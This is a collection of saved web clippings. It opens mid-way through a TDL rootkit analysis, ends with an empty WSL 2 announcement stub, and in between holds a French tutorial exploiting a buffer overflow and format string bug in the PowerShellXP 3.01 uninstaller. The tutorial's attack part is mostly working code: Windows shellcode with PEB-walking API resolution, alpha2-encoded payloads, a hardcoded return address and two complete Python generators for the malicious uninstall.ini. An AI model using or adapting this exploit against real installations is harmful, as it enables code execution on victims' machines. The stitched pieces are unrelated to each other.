correct data by checking if it can find the string “TDLF” at offset 0. It
exits if it cannot find this string.

After this, the malware will prepare several strings that it can display using
the  _DBGPrint_ API. These will only be displayed in debug mode. These
prepared strings include:

    * Everybody’s a jerk. You, me, this jerk. That’s just my philosophy
    * Dude, meet me in Montana XX00, Jesus \(H. Christ\)
    * I felt like putting a bullet between the eyes of every panda that wouldn’t screw to save it’s species.
    * Tempers are wearing thin. Let’s hope some robot doesn’t kill everybody
    * You people voted for Hubert Humphrey, and you killed Jesus
It will then create two random 8-character strings such as
_\pccjapft\eyrkiuhi_. It will create the following files in the said folder:

    * Config.ini – main malware configuration faile
    * Tdlcmd.dll – main DLL file contains all the malware behavior including API hooks
    * Rsrc.dat – original resource section of the patched SYS file.
    * TMP file – copy of  _tdlcmd.dll_
Here is a sample of what  _Config.ini_ contains:

> `[main]  
>  version=3.273  
>  quote=Tempers are wearing thin. Let's hope some robot doesn't kill
> everybody  
>  botid=72607dae-9d01-4c33-9a85-bc9ed0c92cf6  
>  affid=20409  
>  subid=0  
>  installdate=3.9.2010 7:20:44  
>  builddate=2.7.2010 5:13:9  
>  rnd=73586283  
>  [injector]  
>  *=tdlcmd.dll  
>  [tdlcmd]  
>  version=3.82`
The content of these malware files were directly read from the hardisk. It
first allocates a shared buffer using “nt\!IoAllocateMdl” then use
“atapi\!IdePortDispatch” \(this api may vary depending on hardisk driver it
can be iastor.sys for some DELL machines\) to read directly from hardisk and
put it in the allocated shared buffer.

Here’s some snippet of codes on how the malware called
_atapi\!IdePortDispatch_ :

> `seg000:810EF079 lea ecx, [ebp+var_6C]  
>  seg000:810EF07C mov [eax+4], ecx  
>  seg000:810EF07F mov eax, [esi+60h]  
>  seg000:810EF082 dec byte ptr [esi+23h]  
>  seg000:810EF085 sub eax, 24h ; '$'  
>  seg000:810EF088 push esi  
>  seg000:810EF089 mov [esi+60h], eax  
>  seg000:810EF08C push edi  
>  seg000:810EF08D mov [eax+14h], edi  
>  seg000:810EF090 call [ebp+arg_4] ; ss:0010:fc942814={atapi!IdePortDispatch
> (fc304852)}`
After reading data directly from hard disk, it will decrypt this data and then
check for the string  _TDLD_ for data,  _TDLF_ for files, or  _TDLN_ for free
blocks.

Careful analysis allows us to assemble the main DLL file by just monitoring
the malwares use of the API _atapi\!IdePortDispatch_ or creating breakpoints
from where the malware will use this API. Doing this, we are able to create a
perfect image of the DLL file. This can be unpacked using normal UPX software
and loaded to commonly known debuggers such as  _Ollydbg_ and  _IDAPro_.

# \[Exploit\] PowerShell 3.01 0day

**Created:**| _12/12/2010 12:21:16 PM_  
---|---  
**Updated:**| _12/12/2010 12:26:27 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging windows security Exploit zeroday Tutorials
windows environment awesome_  
  

### \[Exploit\] PowerShell 3.01 0day

**Cheers to sec0d and it's members for finding the vuln' :\). Thanks to kmkz
and ZadYRee for support ;\).**  
  
  
_**Introduction**_  
  
Aujourd'hui on va attaquer PowerShellXP 3.01.  
C'est une extension du shell windows \(je vous avouerais que je me suis pas
penché plus que ça sur ses fonctionnalitées\).  
Ce soft souffre d'une vulnérabilitée dans son désinstalleur comme nous allons
le voir.  
  
**_Trigger it\!_**  
  
On lance le désinstalleur et il nous affiche un gentil message :\).  

<img src='img/Temp2_10063.png' width='400' height='250' />

  
Après recherche dans les différents fichier dans le dossier d'installation, on
trouve une ligne intéressante dans le uninstall.ini.  

<img src='img/Temp2_10059.png' width='400' height='250' />

  
  
On change le %s en %x juste pour voir ... et coup de chance : format string
;\).  

<img src='img/Temp2_10057.png' width='400' height='250' />

  
  
Reste plus qu'à crasher ça avec un pattern metasploit.  

<img src='img/Temp2_10058.png' width='400' height='250' />

  
  
Recherche de l'offset avec \!pvefindaddr suggest.  

<img src='img/Temp2_10066.png' width='400' height='250' />

On trouve donc 5268.  
  
En regardant de plus près notre stack \(screen 4\), on voit qu'on a un
pointeur sur notre pile  
qui pointe directement sur notre buffer, all the win? :\)  
Le schéma de la stack :  

<img src='img/Temp2_10061.png' width='320' height='173' />

  
  
Il nous suffira donc de trouver une instruction style pop/pop/ret pour
retourner sur notre payload :\).  
  
On regarde en 0x4012AF et on remarque un appel à wvsprintfA\(\) juste avant,
on a localisé la vuln' ;\).  

<img src='img/Temp2_10055.png' width='400' height='250' />

  
On remarque que l'addresse du buffer se trouve en 0x406E70 \(huh?\) et qu'on
re-écrit EIP au bout de 5268 octets ... bizarre. Donc on a EIP qui se trouve
en 0x408304.  
Regardons un peu qu'es-ce qu'on re-écrit :  

  
On tape donc dans la section des imports. En regardant les imports vers
0x408304 ... on a wvsprintfA\(\) ;\). A l'appel de celle-ci on redirige en
fait notre code directos sur notre payload :\).  

<img src='img/Temp2_10062.png' width='400' height='250' />

  
En posant un breakpoint au début de la fonction appellée \(0x40127C\) on voit
ça :  

<img src='img/Temp2_10056.png' width='320' height='173' />

  
Un peu plus bas sur la pile on peut voir qu'on a un retour vers 0x40330F, on
va à cette addresse et on voit 1 appel avant notre fonction en 0x401512 qui
fait un appel vers lstrcpyA\(\) ... et voilà d'où vient la vuln ;\).  

<img src='img/Temp2_10064.png' width='400' height='250' />

  
Et l'appel à notre lstrcpyA\(\) :  

<img src='img/Temp2_10060.png' width='400' height='250' />

  
Donc pour résumer, on a 2 vulnérabilitée:  
\- un buffer overflow due à lstrcpyA\(\)  
\- une format string s'en suivant due à l'appel de wvsprintfA\(\) avec le
format qu'on controle ;\)  
  
Et voilà, maintenant il nous reste juste le code d'alignement pour notre
shellcode  
qu'on va encoder en utilisant l'alpha2.  
  
**_Alignment code_**  
  
Voilà le code d'alignement \(veuillez vous reférer à mon article sur Xion
Audio Player  
exploitation pour de plus amples explication sur la manière de construire un
code  
d'alignement ;\) \) :  
  

[code]

    # alignment code
    # dec esp
    # dec esp
    # dec esp
    # dec esp
    align = 'L' * 4
    # pop esp (make esp point to data)
    align += '\\'
    # popad
    align += 'a'
    align += 'K' * 18 # junk byte :)
    align += 'C' * 4  # ecx
    align += 'C' * 4  # eax
    
[/code]

  
J'ai choisi ESP en base address car plus facile à aligner \(grâce à popad
:\)\).  
C'est pour cette raison que je fais pointer ESP vers la section .data
directement ^^.  
  
Bon maintenant on a tous les éléments en main pour construire notre exploit.  
  
**_Pawned?_**  
  
Aller on essaie avec une payload calculatrice classique ;\) :  
  

<img src='img/Temp2_10065.png' width='400' height='250' />

  
Ouch, "Access Violation" à cause d'un PUSH, c'est dû au fait qu'on atteint la
fin de la section .data :s. On va solutionner ça avec un shellcode windows
maison qui va allouer une nouvelle stack tout simplement :\).  
  
_**Let's shellcode\!**_  
  
Pour cette partie je vous conseille de vous documenter sur le format de
fichier exécutable PE et sur le shellcoding Windows \(le document de skape est
très bon :\)\).  
  
Le déroulement d'un shellcode windows est généralement le suivant :  
\- parcours du PEB à la recherche de la base de kernel32.dll  
\- resolutions des fonctions nécessaires de kernel32.dll  
\- parsing de l'EAT à la recherche des exports correspondants  
\- appel des fonctions  
  
Un peu de parsing du fichier PE, on trouve nos imports et on fais nos appels  
comme il faut :\).  
  
Ca nous donne la payload suivante :  

[code]

    bits 32
    
    ; defines
    PAGE_EXECUTE_READWRITE  equ 0x40
    HEAP_ZERO_MEMORY equ 0x8
    ; 1KB
    KB equ 1024
    MB equ 1024*KB
    
    ; 1MB stack
    MEMORY_SIZE equ MB
    GETSTUB_SIZE equ 13
    ENCODER_SIZE equ 51
    CURRENT_PAYLOAD_SIZE equ 861
    CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
    PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET
    
    ; hash : kernel32.dll
    GETPROCESSHEAPHASH  equ     0xa80eecae
    VIRTUALPROTECTHASH  equ     0x7946c61b
    LOADLIBRARYAHASH    equ     0xec0e4e8e
    
    ; hash : ntdll.dll
    RTLALLOCATEHEAPHASH       equ     0x3e192526
    
    section .text
        global main
    
    alloc_start:
    main:
        ; get current stub address
        jmp short redirect
        get_eip_ret:
            pop eax ; eip
            jmp current_payload
        redirect:
        call get_eip_ret
    
        current_payload:
        sub esp, 0x20
        mov ebp, esp
        mov [ebp+ADDRESS_STUB], eax
    
        ; search kernel32 base address
        call find_kernel32
    
        ; resolve kernel32 symbols
        ; base of kernel32.dll
        mov edx, eax
        mov esi, [ebp+ADDRESS_STUB]
        add esi, kernel32_hash_table - GETSTUB_SIZE
        mov ecx, esi
        add ecx, 12     ; 3 symbols to resolve
        lea edi, [ebp+KERNEL32_FUNC_TABLE]
        call resolve_symbols_for_dll
    
        ; LoadLibraryA('ntdll.dll')
        mov ebx, [ebp+ADDRESS_STUB]
        add ebx, ntdll_dll - GETSTUB_SIZE
        push ebx        ; 'ntdll.dll'
        call [ebp+LOADLIBRARYA]
    
        ; resolve ntdll symbols
        ; base of ntdll.dll
        mov edx, eax
        mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
        add ecx, 4      ; 1 symbol to resolve
        call resolve_symbols_for_dll
    
        ; LoadLibraryA('user32.dll')
        mov ebx, [ebp+ADDRESS_STUB]
        add ebx, user32_dll - GETSTUB_SIZE
        push ebx        ; 'user32.dll'
        call [ebp+LOADLIBRARYA]
    
        ; resolve user32 symbols
        ; base of user32.dll
        mov edx, eax
        mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
        add ecx, 4      ; 1 symbol to resolve
        call resolve_symbols_for_dll
    
        ; GetProcessHeap
        call [ebp+GETPROCESSHEAP]
    
        ; RtlAllocateHeap() ... same result as HeapAlloc()
        push MEMORY_SIZE        ; dwBytes
        push HEAP_ZERO_MEMORY   ; dwFlags
        push eax                ; hHeap
        call [ebp+RTLALLOCATEHEAP]
        push eax                ; save allocated memory address
    
        ; VirtualProtect()
        lea ecx, [ebp+OLDPROTECT]
        push ecx                        ; lpflOldProtect
        push PAGE_EXECUTE_READWRITE     ; flNewProtect
        push MEMORY_SIZE                ; dwSize
        push eax                        ; lpAddress
        call [ebp+VIRTUALPROTECT]
        
        ; get allocated memory address back :)
        pop edx
    
        ; set new stack :)
        add edx, MEMORY_SIZE
        push edx
        pop esp
    
        ; show message :)
        push 0                              ; uType = MB_OK
        mov ebx, [ebp+ADDRESS_STUB]
        add ebx, pawnTitle - GETSTUB_SIZE
        push ebx                            ; lpCaption = 'Hacked! :)'
        mov ebx, [ebp+ADDRESS_STUB]
        add ebx, pawnMsg - GETSTUB_SIZE
        push ebx                            ; lpText = 'Pawned by m_101'
        push 0                              ; hWnd = NULL = no owner window
        call [ebp+MESSAGEBOX]
    
        ; we compute payload address for jmp
        mov eax, [ebp+ADDRESS_STUB]
        mov ebx, CURRENT_PAYLOAD_OFFSET
        add eax, ebx
    
        ; jmp to payload
        jmp eax
    
    ; get kernel32 module base address from PEB
    ; void* find_kernel32(void)
    find_kernel32:
        xor eax, eax
        add eax, [fs:eax+0x30]       ; eax = PEB
        js short method_9x
    
        method_nt:
            mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
            mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
            lodsd                       ; eax = [esi]   get kernel32 entry
            mov   eax, [eax + 08h]      ; kernel32 DllBase
            jmp short kernel32_ptr_found
    
        method_9x:
            mov   eax, [eax + 34h]
            lea   eax, [eax + 7ch]
            mov   eax, [eax + 3ch]
        kernel32_ptr_found:
        ret
    
    ; resolve function address
    ; void* find_function (void *base, unsigned int hash)
    find_function:
        pushad                          ; save all registers ^^
        mov ebp, [esp + 0x24]           ; VA base address of module
        mov eax, [ebp + 0x3c]           ; pe header
        mov edx, [ebp + eax + 0x78]     ; get export address table
        add edx, ebp                    ; VA of EAT
        mov ecx, [edx + 0x18]           ; number of exported functions
        mov ebx, [edx + 0x20]           ; name table
        add ebx, ebp                    ; VA of name table
    
        find_function_loop:
            jecxz find_function_finished    ; if ecx == 0 then unresolved
            dec ecx                         ; one entry less to check
            mov esi, [ebx + ecx * 4]        ; name offset of current symbol
            add esi, ebp                    ; VA of name
    
            compute_hash:
                xor edi, edi                ; hash = 0
                xor eax, eax                ; character
                cld                         ; assure it increment by setting DF=0
    
                compute_hash_again:
                    lodsb                       ;
                    test al, al                 ; end of string reached?
                    jz compute_hash_finished    ; if yes, finished to hash
                    ror edi, 0xd                ; rotate right for 13 bits
                    add edi, eax                ; hash
                jmp compute_hash_again
            compute_hash_finished:
    
            find_function_compare:
                cmp edi, [esp + 0x28]           ; does it match requested hash?
        jnz find_function_loop                  ; if not we continue searching
            mov ebx, [edx + 0x24]               ; ordinal table offset
            add ebx, ebp                        ; VA of ordinal table offset
            mov cx, [ebx + 2 * ecx]             ; current ordinal
            mov ebx, [edx + 0x1c]               ; address table offset
            add ebx, ebp                        ; VA of address table offset
            mov eax, [ebx + 4 * ecx]            ; relative function offset
            add eax, ebp                        ; function VA yeepee!
            mov [esp + 0x1c], eax               ; patch saved eax value
        find_function_finished:
    
        popad                                   ; restore :)
        ret 8
    
    ; void resolve_symbols_for_dll (edx = base of dll, edi = resolved addresses, esi = hash table address, ecx == end of hash table)
    resolve_symbols_for_dll:
        lodsd
        push eax
        push edx
        call find_function
        mov [edi], eax
        add edi, 0x4        ; go forward in address table
        cmp esi, ecx
        jnz resolve_symbols_for_dll
        ret
    
    ; offset compared to ebp ;)
    ; kernel32
    KERNEL32_FUNC_TABLE     equ 0
    GETPROCESSHEAP          equ 0
    VIRTUALPROTECT          equ 4
    LOADLIBRARYA            equ 8
    
    ; ntdll
    NTDLL_FUNC_TABLE    equ 12
    RTLALLOCATEHEAP     equ 12
    
    ; user32
    USER32_FUNC_TABLE   equ 16
    MESSAGEBOX          equ 16
    
    ;
    ADDRESS_STUB        equ 20
    KERNEL32_BASE       equ 24
    OLDPROTECT          equ 28
    
    ; hash tables
    kernel32_hash_table:
        GetProcessHeapHash  dd     0xa80eecae
        VirtualProtectHash  dd     0x7946c61b
        LoadLibraryAHash    dd     0xec0e4e8e
    
    ntdll_hash_table:
        RtlAllocateHeapHash dd     0x3e192526
    
    user32_hash_table:
        MessageBox  dd  0xbc4da2a8
    
    ; dll to load
    ntdll_dll: db 'ntdll.dll', 0
    user32_dll: db 'user32.dll', 0
    
    ; message to show :)
    pawnMsg: db 'Pawned by m_101', 0
    pawnTitle: db 'Hacked! :)', 0
    
        ; (alpha2 payload eax based)
        payload:
    
[/code]

  
Le code est bien commenté donc assez compréhensible ^^.  
Dans cette payload, j'effectue les actions suivantes :  
\- recherche de la base de kernel32  
\- résolution des symbôles de kernel32  
\- LoadLibraryA \("ntdll.dll"\)  
\- résolution des symbôles de ntdll  
\- allocation de mémoire :  
RtlAllocateHeap\(GetProcessHeap\(\), HEAP\_ZERO\_MEMORY, MEMORY\_SIZE\)  
\- VirtualProtect\(\) // inutile ici mais ça pourrait être utile pour faire du
staging par exemple ;\)  
\- On set esp à la zone allouée  
\- MessageBox\(\)  
\- Calcul de la position de notre "vraie" payload + jmp vers celle-ci \(EAX
based\)  
  
J'ai légèrement tweaké la routine de résolution des symbols de skape \(ret 8 à
la  
fin de find\_function\).  
Y'a moyen d'optimiser plus mais bon, ici on a 5268 octets d'espace, on a
largement  
de quoi faire :\).  
  
**_Finally hacked?_**  
  
Let's try that :\).  
  

<img src='img/Temp2_10054.png' width='400' height='250' />

  
Oh yeah baby\! :\)  
  
_**Le sploit**_  
  
Comme vu dans mon shellcode windows, je fais un jmp eax après, ça explique le
fait  
qu'il faudra baser votre payload alpha2 encoded sur EAX ;\). Si vous voulez
changer  
de base address, suffit de modder le shellcode ;\).  
Here it is :  

[code]

    #!/usr/bin/python
    
    # vuln finders : kmkz, zadyree, hellpast
    # author : m_101
    
    import sys
    
    if len(sys.argv) < 4:
        print("Usage: %s input output payload" % sys.argv[0])
        exit(1)
    
    # get file content
    infile = sys.argv[1]
    fp = open(infile, 'r')
    content = fp.read()
    fp.close()
    
    #
    fpayload = sys.argv[3]
    fp = open(fpayload, 'r')
    payload = fp.read()
    fp.close()
    
    # first offset ... but not enough room
    # ret_offset = 248
    ret_offset = 5268
    # size 118, tag = 'PAWN'
    allocnewstack = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkffbxyyFeWpgpUPixL5kOKOKOmQzLupS0uPS0mY8eOy3udTKXnMgpgpwpmYKrnkqeUDmQkvssgqwpUPlIxqmQkqDLuPuP5Pnm1mUPKXDC6aePUPLKQM7dK1HCcguQwp5PbsKOpU5XmYkroyXqk1yQdDuPEPgpM8KWwpuPePlKqMDTMQYSqquQUPWpSckOPUuXk9ZblIZQmQjawtc0Gp7pKXzkGpwp7pio2u5PPhuPwpdPWpU8fh7pwpS0pPkOSeVlRpLMrmELSaQxspGpEPEPE8EPWpR0GpRp9oPUWtPZOqYR5Pgp4PGp1B3lSXEP7pGp30nkQM6tMQZcSLc1ePWpRsNksm5DoqiS0l5QC0UPpSqxs0EPEP7p9o65FpLKSub4OKWmfcwpUP7qN8kOKPeao0cTgsw000RXtLnkQPflNkpp5LNMlKspTHHkWylKQPp4lMcpQlLK1PelKsu0nkplQ4utNk2egLnkQDs5RXs1jJLKQZ6xlK3jep7qHkm3dw0INk4tnkgq8n4qkOP1o0kLNLmTYPrTgzkqZoTMeQkwXi9akOKOkO7KqletQ82U9NnkpZa4uQzKSVlKVlpKlKRzuLC1ZKLK5TnkVajHMYqTUtULaqYRC8S0LmrppRkXMuIoioKOOyfgOqO7Fds0uPEPuixNRUHl9SLnXlfnlhUKYV3vaiNn2nDNxl16gUuIenLhY2pMOLRNqdCTBLrL6NqtrLPlwp45qccUT2wCDrFNqtPlRL30rppaQg0nu5e4WPU2PyWPrMCo5aVPUauPw8cQ53PkquQtwQ5pDzGYS0A"
    
    # pop pop ret
    ret = "\x9e\x13\x40\x00"
    
    ecx = "\x45\x61\x39\x76"
    eax = "\x47\x61\x39\x76"
    
    print("Constructing alignment code")
    # alignment code
    # dec esp
    # dec esp
    # dec esp
    # dec esp
    align = 'L' * 4
    # pop esp (make esp point to data)
    align += '\\'
    # popad
    align += 'a'
    align += 'K' * 18 # junk byte :)
    align += 'C' * 4  # ecx
    align += 'C' * 4  # eax
    
    # buffer need to be long enough ;)
    print("Padding")
    
    print("Constructing payload")
    # we need to allocate a new stack or it will trigger an access violation because we reach end of .data section
    payload = allocnewstack + payload
    print("Payload size : %u" % len(payload))
    # let's have the minimum correct buffer length!
    padding = (ret_offset - len(payload) - len(align)) * 'C'
    
    print("Constructing egg")
    egg = align + payload + padding + ret
    print("Egg size : %u" % len(egg))
    
    modified = content.replace('TESTTEST', egg)
    
    # working
    outfile = sys.argv[2]
    print ("Writing exploit file : %s" % outfile)
    fp = open(outfile, 'w')
    fp.write(modified)
    fp.close()
    
[/code]

  
  

Usage :

[code]

    ./alpha2 esp < allocnewstack
    
[/code]

[code]

    ./sploit.py uninstall.ini.tomod uninstall.ini [payload]
    
[/code]

  
  
Le fichier uninstall.ini.tomod est fourni en fin d'article.  
  
_**Comment ça, ça servait à rien de shellcoder une payload maison?**_  
  
:\) bah oui y'a quand même plus simple hein que de devoir faire une payload
d'allocation d'une nouvelle stack ... fallait bien que je trouve une excuse
pour le shellcoding windows et puis c'est quand même plus classe de pouvoir
crafter ses propres payloads :p. Anyway, suffit de tweaké un peu mieux notre
code d'alignement pour que tout roule nickel ;\).  
  

[code]

    # alignment code
    # dec esp
    # dec esp
    # dec esp
    # dec esp
    align = 'L' * 4
    # push esp  ; save current esp register
    align += 'T'
    # pop edx   ; save in edx
    align += 'Z'
    # pop esp (make esp point to data)
    align += '\\'
    # push edx  ; old esp register
    align += 'R'    # edi
    # popad
    align += 'a'
    
    # align += ecx
    # align += eax
    
    # we get actual value (for later restore ;))
    # pop ecx
    # push ecx
    align += "\x59\x51"
    # push esp
    # pop eax       ; here the code is adjusted but we still need to restore old stack
    align += 'TX'
    # we repatch the stack (or we may have bad memory access ;))
    # push ecx
    align += "\x51"
    # we don't want our current instructions to be crushed
    # dec esp * 4
    align += 'L' * 8
    # push edi  ; old stack
    align += 'W'
    # pop esp   ; restore old stack
    align += '\\'
    # junk bytes
    align += 'K' * 4 # scrape space (esp point here)
    
[/code]

  
Ici le registre de base est EAX par contre \(push esp, pop eax\) vu qu'on
restore  
l'ancienne stack. Et wala, on est passé de 1362 octets à 501 octets sans la  
payload maison ;\). Bien sûr, vous pourrez toujours en ajouter une maintenant  
que vous savez faire :\). Les push ecx sont là pour restorer les instructions  
écrasées sur la stack \(qu'on exécute\!\) sinon on peut avoir un access
violation\!  
  
Au final, notre shellcode ressemble désormais à ça :  

[code]

    bits 32
    
    ; defines
    PAGE_EXECUTE_READWRITE  equ 0x40
    HEAP_ZERO_MEMORY equ 0x8
    ; 1KB
    KB equ 1024
    MB equ 1024*KB
    
    ; 1MB stack
    MEMORY_SIZE equ MB
    GETSTUB_SIZE equ 13
    ENCODER_SIZE equ 51
    CURRENT_PAYLOAD_SIZE equ 585
    CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
    PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET
    
    ; hash
    MESSAGEBOXAHASH     equ     0xbc4da2a8
    LOADLIBRARYAHASH    equ     0xec0e4e8e
    
    section .text
        global main
    
    alloc_start:
    main:
        ; get current stub address
        jmp short redirect
        get_eip_ret:
            pop eax ; eip
            jmp current_payload
        redirect:
        call get_eip_ret
    
        current_payload:
        sub esp, 0x20   ; make room on stack to store pointers
        mov ebp, esp
        mov [ebp+ADDRESS_STUB], eax
    
        ; search kernel32 base address
        call find_kernel32
    
        ; kernel32.dll
        ; resolve LoadLibraryA
        push LOADLIBRARYAHASH
        push eax
        call find_function
        mov [ebp+LOADLIBRARYA], eax
    
        ; LoadLibraryA('user32.dll')
        mov ebx, [ebp+ADDRESS_STUB]
        add ebx, user32_dll - GETSTUB_SIZE
        push ebx        ; 'user32.dll'
        call [ebp+LOADLIBRARYA]
    
        ; user32.dll
        ; resolve MessageBoxA
        push MESSAGEBOXAHASH
        push eax
        call find_function
        mov [ebp+MESSAGEBOXA], eax
    
        ; show message :)
        push 0                              ; uType = MB_OK
        mov ebx, [ebp+ADDRESS_STUB]
        add ebx, pawnTitle - GETSTUB_SIZE
        push ebx                            ; lpCaption = 'Hacked! :)'
        mov ebx, [ebp+ADDRESS_STUB]
        add ebx, pawnMsg - GETSTUB_SIZE
        push ebx                            ; lpText = 'Pawned by m_101'
        push 0                              ; hWnd = NULL = no owner window
        call [ebp+MESSAGEBOXA]
    
        ; we compute payload address for jmp
        mov eax, [ebp+ADDRESS_STUB]
        mov ebx, CURRENT_PAYLOAD_OFFSET
        add eax, ebx
    
        ; jmp to payload
        jmp eax
    
    ; get kernel32 module base address from PEB
    ; void* find_kernel32(void)
    find_kernel32:
        xor eax, eax
        add eax, [fs:eax+0x30]       ; eax = PEB
        js short method_9x
    
        method_nt:
            mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
            mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
            lodsd                       ; eax = [esi]   get kernel32 entry
            mov   eax, [eax + 08h]      ; kernel32 DllBase
            jmp short kernel32_ptr_found
    
        method_9x:
            mov   eax, [eax + 34h]
            lea   eax, [eax + 7ch]
            mov   eax, [eax + 3ch]
        kernel32_ptr_found:
        ret
    
    ; resolve function address
    ; void* find_function (void *base, unsigned int hash)
    find_function:
        pushad                          ; save all registers ^^
        mov ebp, [esp + 0x24]           ; VA base address of module
        mov eax, [ebp + 0x3c]           ; pe header
        mov edx, [ebp + eax + 0x78]     ; get export address table
        add edx, ebp                    ; VA of EAT
        mov ecx, [edx + 0x18]           ; number of exported functions
        mov ebx, [edx + 0x20]           ; name table
        add ebx, ebp                    ; VA of name table
    
        find_function_loop:
            jecxz find_function_finished    ; if ecx == 0 then unresolved
            dec ecx                         ; one entry less to check
            mov esi, [ebx + ecx * 4]        ; name offset of current symbol
            add esi, ebp                    ; VA of name
    
            compute_hash:
                xor edi, edi                ; hash = 0
                xor eax, eax                ; character
                cld                         ; assure it increment by setting DF=0
    
                compute_hash_again:
                    lodsb                       ;
                    test al, al                 ; end of string reached?
                    jz compute_hash_finished    ; if yes, finished to hash
                    ror edi, 0xd                ; rotate right for 13 bits
                    add edi, eax                ; hash
                jmp compute_hash_again
            compute_hash_finished:
    
            find_function_compare:
                cmp edi, [esp + 0x28]           ; does it match requested hash?
        jnz find_function_loop                  ; if not we continue searching
            mov ebx, [edx + 0x24]               ; ordinal table offset
            add ebx, ebp                        ; VA of ordinal table offset
            mov cx, [ebx + 2 * ecx]             ; current ordinal
            mov ebx, [edx + 0x1c]               ; address table offset
            add ebx, ebp                        ; VA of address table offset
            mov eax, [ebx + 4 * ecx]            ; relative function offset
            add eax, ebp                        ; function VA yeepee!
            mov [esp + 0x1c], eax               ; patch saved eax value
        find_function_finished:
    
        popad                                   ; restore :)
        ret 8
    
    ; offset compared to ebp ;)
    ; kernel32
    KERNEL32_FUNC_TABLE     equ 0
    LOADLIBRARYA            equ 0
    
    ; user32
    USER32_FUNC_TABLE   equ 4
    MESSAGEBOXA         equ 4
    
    ;
    ADDRESS_STUB        equ 8
    
    ; dll to load
    user32_dll: db 'user32.dll', 0
    
    ; message to show :)
    pawnTitle: db 'Hacked! :)', 0
    pawnMsg: db 'Pawned by m_101', 0
    
        ; (alpha2 payload eax based)
        payload:
    
[/code]

  
Et voilà le résultat :\).  
Dans les deuxs shellcodes vous pouvez voir que j'ai des defines pour la
payload,  
ça sert à calculer l'offset de la seconde payload en alpha2 qui est concaténée  
à la suite ;\).  
  
Ca nous donne donc l'exploit final :  

[code]

    #!/usr/bin/python
    
    # vuln finders : kmkz, zadyree, hellpast
    # author : m_101
    
    import sys
    
    if len(sys.argv) < 4:
        print("Usage: %s input output payload" % sys.argv[0])
        exit(1)
    
    # get file content
    infile = sys.argv[1]
    fp = open(infile, 'r')
    content = fp.read()
    fp.close()
    
    #
    fpayload = sys.argv[3]
    fp = open(fpayload, 'r')
    payload = fp.read()
    fp.close()
    
    # first offset ... but not enough room
    # ret_offset = 248
    ret_offset = 5268
    
    # pop pop ret
    ret = "\x9e\x13\x40\x00"
    
    ecx = "\x45\x61\x39\x76"
    eax = "\x47\x61\x39\x76"
    
    print("Constructing alignment code")
    # alignment code
    # dec esp
    # dec esp
    # dec esp
    # dec esp
    align = 'L' * 4
    # push esp  ; save current esp register
    align += 'T'
    # pop edx   ; save in edx
    align += 'Z'
    # pop esp (make esp point to data)
    align += '\\'
    # push edx  ; old esp register
    align += 'R'    # edi
    # popad
    align += 'a'
    
    # align += ecx
    # align += eax
    
    # we get actual value (for later restore ;))
    # pop ecx
    # push ecx
    align += "\x59\x51"
    # push esp
    # pop eax       ; here the code is adjusted but we still need to restore old stack
    align += 'TX'
    # we repatch the stack (or we may have bad memory access ;))
    # push ecx
    align += "\x51"
    # we don't want our current instructions to be crushed
    # dec esp * 4
    align += 'L' * 8
    # push edi  ; old stack
    align += 'W'
    # pop esp   ; restore old stack
    align += '\\'
    # junk bytes
    align += 'K' * 4 # scrape space (esp point here)
    
    # buffer need to be long enough ;)
    print("Padding")
    
    print("Constructing payload")
    msg = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhkS62xKYc5wpC0uP9xZUKOkOyonahlwP5PEPuPK9kUOySuc8kXf6Gp5Ps0Phnn0NdNzLPPm81yS05Ps0NiQUuPLKsmEXmQO38WePEP5PPSYoPUuPsXMxOR2mMlPPKXrnePgpwpOyG5Vd0h5P7p5PuPLKCm38mQksJB5PC05PpSLKSmS8NaiSJMgpgpwpQCSXwpuPS0GpKOpUTDlKBedHmks9uRWp5PvazxioKP01O0PdUS3ptp1hvlLKQPTLnkRPglnMNkcpS8XkUYNk1PttnmCpsLnksp7LySQpnkbLddQ4lKPE5lLKrtuUrX5Q8jLK3zTXNkQJ5peQXkysvWSyNkP4LKuQXnTq9otqyPKLNLMTKp444JyQXOTMWqKwyyIaKOKOKOwKcL145x45YNLK3jTdeQ8kCVNkflbkNk0ZULs18klKuTLKgqKXLIW4VDglE1hBUXWpt5cC1uBRUcGBfN2DPl0lWpaXpa2C2K3UpdTaup7JUyuPPPu1RWPnQuPdupsRaiUpBMcotqtpvQWpA"
    payload = msg + payload
    print("Payload size : %u" % len(payload))
    # let's have the minimum correct buffer length!
    padding = (ret_offset - len(payload) - len(align)) * 'C'
    
    print("Constructing egg")
    egg = align + payload + padding + ret
    print("Egg size : %u" % len(egg))
    
    modified = content.replace('TESTTEST', egg)
    
    # working
    outfile = sys.argv[2]
    print ("Writing exploit file : %s" % outfile)
    fp = open(outfile, 'w')
    fp.write(modified)
    fp.close()
    
[/code]

  
Usage :  

[code]

    ./alpha2 eax < allocnewstack
    
[/code]

[code]

    ./sploit.py uninstall.ini.tomod uninstall.ini [payload]
    
[/code]

  
Le fichiers nécessaire uninstall.ini.tomod est fourni en fin d'article.  
  
**_Conclusion_**  
  
Comment quoi on aura pu voir que les overflow ne se déroulent pas qu'en stack,  
mais aussi dans toutes les autres sections ou on peut écrire/exécuter du code
;\).  
En plus de tout ça, un avant-goût a été donné sur le shellcoding windows.  
  
J'espère que ça vous a plut,  
  
Have fun,  
  
m\_101  
  
\- \[URL\] Dessinez des stacks en LaTeX  
\- \[URL\] PowerShell XP 3.01  
\- \[Fichier\] uninstall.ini.tomod  

\- \[Exploit\] PowerShell XP 3.01 exploit

# Announcing WSL 2 | Windows Command Line Tools For Developers
**Created:**| _5/10/2019 8:11:17 AM_  
---|---  
**Updated:**| _5/10/2019 8:11:17 AM_  
**Author:**| __  
**Tags:**| _security tools windows_  
  

  

